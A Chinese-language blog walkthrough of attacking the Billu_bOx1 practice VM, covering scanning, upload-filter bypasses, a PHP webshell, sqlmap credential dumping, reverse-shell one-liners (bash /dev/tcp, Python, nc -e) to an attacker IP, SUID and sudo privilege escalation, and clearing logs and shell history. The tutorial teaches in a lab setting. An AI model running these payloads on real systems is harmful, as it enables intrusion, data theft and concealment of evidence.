从Billu_bOx1靶机实战解析Web渗透测试全流程:信息搜集到权限提升
2026/7/23 1:29:30 网站建设 项目流程

1. 项目概述:从Billu_bOx1靶机看实战渗透测试的完整闭环

最近在整理自己的渗透测试实战笔记,翻到了几年前一个让我印象深刻的靶机——Billu_bOx1。这个靶机在圈内流传很广,虽然现在看来它的漏洞点不算新颖,但其设计巧妙之处在于,它几乎串联了一个Web渗透测试从信息搜集到最终提权的所有核心环节,非常适合新手构建完整的渗透思维,也值得老手用来温故知新。它不是那种一个漏洞直通flag的“快餐”靶机,而是需要你像剥洋葱一样,一层层地深入,非常考验耐心和基本功。今天,我就以Billu_bOx1为例,完整复盘一次渗透测试的实战流程,分享其中的思路、技巧和踩过的坑。无论你是刚接触Kali Linux的新手,还是想巩固流程的安全爱好者,这篇长文都能给你带来直接的参考价值。

2. 靶机环境搭建与信息搜集策略

2.1 靶机部署与网络配置

Billu_bOx1是一个基于VirtualBox或VMware的虚拟机镜像,文件格式通常是.ova.vmdk。拿到镜像后,第一步是导入到你的虚拟化平台。这里有个关键点:务必配置为“仅主机(Host-Only)模式”或“NAT模式”。我强烈推荐使用VMware的“仅主机模式”或VirtualBox的“内部网络”,这样可以创建一个独立的、与宿主机直接通信的虚拟网络,避免你的测试流量影响到真实网络环境,也符合安全测试的伦理规范。

导入并启动靶机后,你通常不需要登录系统(因为不知道密码),靶机会自动获取IP地址。这时,你需要在自己的攻击机(比如Kali Linux)上发现它。最直接的方法是使用netdiscoverarp-scan进行二层网络扫描。

sudo netdiscover -r 192.168.56.0/24

假设你的虚拟网络网段是192.168.56.0/24,这条命令会列出该网段内所有活跃的IP和MAC地址。找到那个不属于你已知设备的IP,很可能就是靶机。我通常还会用ping扫一下确认连通性:ping -c 3 192.168.56.102。找到靶机IP后,记下来,这是所有后续操作的起点。

2.2 系统性信息搜集:不止于端口扫描

很多新手拿到IP就直接上漏洞扫描器,这其实是个误区。全面的信息搜集是渗透测试成功的一半。对于Billu_bOx1,我们需要进行分层侦察。

首先,使用nmap进行全端口扫描,我习惯用-sS(SYN半开扫描,更隐蔽)和-sV(版本探测)组合,再加上-p-扫描所有65535个端口。

sudo nmap -sS -sV -p- -T4 192.168.56.102 -oN nmap_full.txt

扫描结果通常会显示几个关键端口:80(HTTP)22(SSH),有时还会有其他如21(FTP)、3306(MySQL)等。对于Billu_bOx1,核心就是80端口。接下来,针对Web服务进行更细致的探测。使用-A参数可以开启操作系统探测和版本探测,但动静较大。我更倾向于分步进行:

sudo nmap -sS -sC -O 192.168.56.102 -oN nmap_detail.txt

-sC会运行默认的Nmap脚本,有时能发现一些有用的信息,比如HTTP标题头。

光有端口信息还不够,我们需要知道Web应用的具体情况。使用dirbgobusterffuf进行目录爆破是标准动作。我常用gobuster,因为它速度快,字典丰富。

gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -o gobuster_scan.txt

这个命令会寻找常见的目录和带有phphtmltxt扩展名的文件。在Billu_bOx1的扫描结果中,你很快会发现一些有趣的路径,比如/add.php/panel.php/c.php等,这些就是下一步攻击的入口点。

注意:信息搜集阶段一定要细致并做好记录。我习惯用CherryTree或简单的文本文件,把每个发现的IP、端口、服务版本、目录、可能的框架(如通过whatweb工具识别)都记下来。这些信息在后续的漏洞串联和攻击链构建中至关重要。

3. Web应用漏洞挖掘与利用实战

3.1 初探Web界面与敏感信息泄露

访问靶机的IP(如http://192.168.56.102),你会看到一个简单的登录页面。这是Billu_bOx1的“门户”。在没有任何凭证的情况下,我们首先尝试默认口令(admin/admin, root/root等),但通常都会失败。这时,之前目录爆破的结果就派上用场了。

逐一访问发现的页面。访问/c.php可能会直接暴露一些敏感信息,比如PHP配置、服务器路径等,这属于敏感信息泄露漏洞。而/add.php/panel.php这类页面,往往与后台管理功能相关,但需要权限。这里就引出了第一个常见的攻击思路:寻找身份验证绕过或弱口令

除了手动浏览,使用浏览器开发者工具(F12)查看网络请求和源代码也是好习惯。有时关键信息(如隐藏的表单、注释掉的密码、JS文件中的API路径)就藏在源码里。对于Billu_bOx1,仔细审计/index.php或登录页面的源码,有时能发现提示或隐藏的输入框。

3.2 文件上传漏洞的发现与利用

在探索过程中,你可能会找到一个文件上传点(例如在/add.php或类似功能中)。这是Web渗透中一个经典的突破口。测试文件上传漏洞,我遵循以下步骤:

  1. 基础绕过:先尝试上传一个简单的.txt文件,确认上传功能基本正常。
  2. 黑名单绕过:如果限制上传.php等后缀,尝试.phtml.php5.php7.phps.php.(利用解析漏洞),或者大小写混合如.PhP
  3. MIME类型绕过:通过Burp Suite拦截上传请求,将Content-Typeapplication/x-php改为image/jpegtext/plain
  4. 前端验证绕过:直接删除或禁用前端的JS验证代码。
  5. .htaccess文件攻击:如果能上传.htaccess文件,可以配置服务器将特定后缀(如.test)当作PHP解析:AddType application/x-httpd-php .test

在Billu_bOx1中,文件上传漏洞的利用往往是获取Webshell的第一步。假设我们成功上传了一个名为shell.php(或绕过后的名字)的Webshell,内容为最简单的PHP代码:

<?php system($_GET[‘cmd’]); ?>

上传后,访问这个文件的URL(如http://192.168.56.102/uploads/shell.php),并通过?cmd=whoami参数执行系统命令,如果返回了Web服务运行的用户(如www-data),那么恭喜,你已经拿到了一个**命令执行(RCE)**的入口。

实操心得:上传Webshell后,第一时间不是执行idwhoami,而是先尝试pwdls -la,搞清楚自己当前在服务器文件系统中的位置,以及目录的权限。这决定了你后续能做什么。

3.3 SQL注入漏洞的深度利用

除了文件上传,Billu_bOx1另一个核心漏洞点是SQL注入。登录框、搜索框、查看详情的页面(如/view.php?id=1)都是常见的注入点。我习惯先用(单引号)和(双引号)进行初步测试,看是否有数据库报错信息回显。

如果存在报错注入,可以直接利用报错信息获取数据。但更通用的是使用sqlmap进行自动化检测和利用。例如,对一个疑似注入点:

sqlmap -u “http://192.168.56.102/view.php?id=1” --batch --dbs

--batch参数会让sqlmap自动选择默认选项,适合快速测试。如果成功,它会列出所有数据库名。在Billu_bOx1中,我们关心的数据库通常叫billu或类似名称。接着,指定数据库进行表名枚举:

sqlmap -u “http://192.168.56.102/view.php?id=1” -D billu --tables

找到用户表(常命名为usersadminauth等)后,爆出字段和内容:

sqlmap -u “http://192.168.56.102/view.php?id=1” -D billu -T users --columns sqlmap -u “http://192.168.56.102/view.php?id=1” -D billu -T users -C username,password --dump

这一步的目标是获取后台管理员的用户名和密码哈希值。如果密码是明文(在老旧或教学靶机中常见),那就直接登录。如果是MD5等哈希,则需要破解。可以用john或在线彩虹表网站进行破解。拿到管理员凭证后,就能登录后台(/panel.php),那里通常有更强大的功能,甚至直接存在获取Webshell或执行命令的选项。

4. 权限提升与内网横向移动思路

4.1 从Web Shell到稳定立足点

通过文件上传或SQL注入后的命令执行,我们拿到了一个www-data权限的Web Shell。这个权限很低,很多操作受限制。第一步是建立一个更稳定、功能更全的反向Shell

在攻击机(Kali)上监听一个端口:

nc -lvnp 4444

然后在Web Shell里执行反向连接命令。根据靶机环境,有多种payload:

  • Bashbash -c ‘bash -i >& /dev/tcp/192.168.56.101/4444 0>&1’
  • Pythonpython -c ‘import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“192.168.56.101”,4444)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([“/bin/sh”, “-i”]);’
  • 使用nc:如果靶机有netcat(尤其是有-e参数的版本),那最简单:nc 192.168.56.101 4444 -e /bin/bash

成功建立反向Shell后,你就获得了一个交互式的命令行。首先升级一下Shell的体验:python -c ‘import pty; pty.spawn(“/bin/bash”)’,然后按Ctrl+Z挂起,在Kali终端输入stty raw -echo; fg,再输入reset,最后设置终端类型export TERM=xterm。这样你就获得了一个支持命令历史、Tab补全的“全功能”终端。

4.2 系统内部信息搜集与提权枚举

拿到一个相对稳定的Shell后,不要急着乱跑。先进行系统的内部信息搜集,为提权做准备。我有一套固定的枚举脚本和命令:

  1. 系统信息uname -a(内核版本),cat /etc/issuecat /etc/*-release
  2. 用户和权限idwhoamicat /etc/passwdsudo -l(如果当前用户有sudo权限,这是提权的黄金钥匙)
  3. 进程与服务ps auxnetstat -tulpn(查看网络连接和监听端口,寻找内部服务)
  4. 计划任务crontab -lls -la /etc/cron*cat /etc/crontab(寻找以root权限运行的定时任务)
  5. SUID/GUID文件find / -perm -u=s -type f 2>/dev/null(查找设置了SUID位的文件,可能被滥用)
  6. 可写文件与目录find / -writable -type d 2>/dev/null(尤其是/tmp/var/tmp/dev/shm

对于Billu_bOx1,内核漏洞提权滥用SUID文件是常见的提权路径。可以使用searchsploit在本地搜索已知的内核漏洞,或者上传像LinEnum.shlinuxprivchecker.py这样的自动化枚举脚本,它能系统性地检查各种提权向量。

假设我们发现了一个具有SUID权限的非常规二进制文件,比如/usr/bin/find。那么可以利用它来提权:

/usr/bin/find . -exec /bin/bash -p \;

-p参数会让bash保留有效用户ID(即root),从而产生一个root shell。类似的,如果有vimnmap(旧版本),python等具有SUID或sudo权限,都有对应的提权方法。

4.3 内网横向移动初步探索

在Billu_bOx1这样的单机靶机中,横向移动不是重点,但思路值得了解。如果在信息搜集中发现靶机还开放了其他端口(如21/FTP, 22/SSH, 3306/MySQL),并且我们通过Web漏洞获取了某些服务的密码(可能存储在配置文件或数据库中),就可以尝试凭证复用

例如,从Web应用的数据库或配置文件中找到了SSH密码,可以尝试用ssh user@localhost连接本机的SSH服务,以获得一个更干净的终端。或者,用找到的MySQL密码连接数据库,尝试通过MySQL的into outfile功能写Webshell,或者利用MySQL的UDF(用户定义函数)进行提权。

5. 后渗透阶段:定位Flag与清理痕迹

5.1 系统性地搜索Flag文件

像Billu_bOx1这类CTF靶机,最终目标是找到Flag。Flag文件通常具有特定名称(如flag.txtproof.txtroot.txt)或内容格式(如FLAG{...})。拿到root权限后,就可以在全系统搜索。

find / -name “*flag*” 2>/dev/null find / -name “*.txt” -exec grep -l “FLAG{” {} \; 2>/dev/null find / -type f -exec grep -H “flag{” {} \; 2>/dev/null

这些命令会搜索文件名包含“flag”的文件,或者文件内容包含“FLAG{”模式的文件。Flag可能藏在/root/home下的用户目录,/var/www网站目录,甚至是一些隐蔽的临时目录里。需要耐心和细致的搜索。

5.2 渗透测试的善后工作

在实际的授权测试中,完成后需要清理痕迹,避免对目标系统造成持久影响。这包括:

  1. 删除上传的Webshell文件:找到上传路径,用rm命令删除。
  2. 清理日志文件:Web日志(如/var/log/apache2/access.logerror.log)、系统认证日志(/var/log/auth.log)、命令历史(~/.bash_history)都可能记录我们的操作。需要谨慎编辑或删除相关条目。对于命令历史,可以直接清空:echo ‘’ > ~/.bash_history && history -c
  3. 删除创建的用户或后门:如果在提权过程中添加了用户或设置了SSH密钥后门,需要移除。
  4. 关闭建立的反向Shell连接:在攻击机上Ctrl+C结束监听即可。

重要提示:以上清理操作仅适用于授权测试环境或像Billu_bOx1这样的本地靶机。在未经授权的真实系统上进行任何操作都是非法的。我们学习渗透测试技术,是为了理解攻击原理,从而更好地进行防御。

6. 常见问题排查与实战技巧汇编

6.1 网络连通性问题

  • 问题:Kali无法ping通靶机IP。
    • 排查:首先检查虚拟网络设置,确保攻击机和靶机在同一网段(如都是VMnet1/Host-Only)。在Kali上运行ifconfig,在靶机(如果可能)或虚拟机设置里查看IP。尝试关闭宿主机的防火墙(临时测试)。重启虚拟网络适配器或虚拟机。
  • 问题:能ping通,但nmap扫不到80端口。
    • 排查:确认靶机Web服务是否已启动。尝试用netstat -tulpn(在靶机上)或nmap -sT -p 80 靶机IP(TCP全连接扫描,更可靠)再次检查。有时靶机防火墙会丢弃SYN包,导致-sS扫描无结果。

6.2 漏洞利用失败问题

  • 问题sqlmap检测不出注入点。
    • 排查:确认注入点是否存在(手动加and 1=1and 1=2测试)。尝试使用--level--risk提高检测等级(如--level 3 --risk 2)。如果网站有Token或动态参数,可能需要使用--random-agent--delay来规避检测。有时需要指定注入参数:-p “id”
  • 问题:文件上传成功,但访问时被解析为纯文本或返回403/404。
    • 排查:确认上传文件的完整访问路径。检查文件权限(ls -la),确保Web服务器用户(如www-data)有读取权限。确认服务器是否真的支持该后缀的解析(如.phtml需要Apache特定配置)。尝试不同的目录(如/images//uploads//assets/)。

6.3 提权过程受阻问题

  • 问题:内核漏洞exp编译失败或执行不成功。
    • 排查:检查靶机系统架构(uname -m),确保exp代码兼容(32位还是64位)。检查gcc等编译工具是否安装。尝试寻找已经编译好的、对应内核版本的二进制exp。注意glibc库版本差异也可能导致运行失败。在真实环境中,盲目运行来路不明的exp极有可能导致系统崩溃
  • 问题sudo -l显示可以以root身份运行某些命令,但利用时失败。
    • 排查:仔细阅读sudo -l的输出,注意(root) NOPASSWD:后面的命令路径是否完全匹配。有些配置可能限制了命令行参数。利用时,必须使用完整的绝对路径。例如,如果显示可以无密码运行/usr/bin/vi,那么提权命令必须是sudo /usr/bin/vi,然后通过在vi中执行:!bash来获取root shell。

6.4 个人实战技巧备忘

  1. 信息记录:永远用好你的笔记工具。截图、命令输出、IP、密码哈希、思路转折点,全部记下来。这不仅是报告需要,当测试复杂或中断后重新继续时,能节省大量时间。
  2. 工具备选:不要只依赖一个工具。dirb没扫出来的目录,用gobusterffuf换个字典可能就有发现。sqlmap不行的时候,手动注入可能更快。
  3. 思维发散:遇到瓶颈时,回头看看信息搜集阶段的所有发现。一个不起眼的robots.txt文件,一个JS文件里的注释,一个图片属性里的信息,都可能成为突破口。Billu_bOx1的某些入口就藏在很普通的地方。
  4. 理解原理:比会用工具更重要的是理解漏洞原理。知道SQL注入是怎么拼接字符串的,就知道该怎么构造payload。知道文件上传是怎么验证的,就知道该怎么绕过。这能让你在面对新环境、新WAF时,依然有思路。
  5. 环境隔离:所有测试都在虚拟化的隔离环境中进行。像Billu_bOx1这样的靶机,做完一次后,可以拍个快照,然后恢复快照重新开始,反复练习不同的攻击路径和工具,直到把整个流程刻在脑子里。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询